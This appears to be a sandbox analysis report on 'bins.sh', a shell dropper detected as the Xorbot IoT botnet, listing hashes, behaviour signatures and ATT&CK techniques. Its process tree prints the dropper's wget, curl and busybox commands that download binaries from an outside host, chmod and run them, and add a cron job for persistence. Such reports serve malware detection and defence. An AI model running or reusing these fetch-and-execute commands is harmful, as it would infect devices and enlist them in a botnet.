Analysis
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max time kernel
149s -
max time network
160s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
21-02-2025 03:03
General
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Target
bins.sh
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Size
10KB
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MD5
55f10153bf7837f1b358e78a9f1cbc72
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SHA1
53ce0ffad117ff88767edef40ab1942e43a9b356
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SHA256
4d5b35e73e3232fda6c684611138b362138c1e55a6d28efeab85191976eef6e9
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SHA512
806df1e0034aec45a4b1efee06f39934e46ef14b98712773bd74a4bb981552169b40748cb78efe0d55ba5c7987e750715d964dfeaa5c700fdc0c5629a7538b92
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SSDEEP
96:YRJRLu/Yu/Uu/a/p/Z/uUgcAu1K1C1XA2hEaSlPCD9D9DSLDLpip6pLGi5nFnlnT:6ORLJpsHr3lFkz36QkjlFkz39JpsHrS
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (1287) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 4 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 2 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- Checks CPU configuration
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://conn.masjesu.zip/bins/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- System Network Configuration Discovery
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/bin/chmodchmod 777 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- File and Directory Permissions Modification
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/tmp/8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ5./8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm 8OfMCv20jYYgZ4W2ktiuM3JBi9ig43NlJ52⤵
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/usr/bin/wgetwget http://conn.masjesu.zip/bins/iwnOQoKO4P0UBdZG6qZhvNsD8Ue5TX1Ha82⤵
- System Network Configuration Discovery
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD5ce5e6cd78f3f097f21ae7540d0fc2504
SHA114e8e24afc09311782a662c69e951b7b7b56e63a
SHA256d72c54247aa371e7a4641cbe25ed50d190586a590281a27db94dbbded41065e5
SHA512b1f328c799970d52527d6de9487d45ef11e7a0a79844d5a7bad631ad55502294305c821471419217a4dab20579e83ce6dab3094963b1257d61d4692971d0b044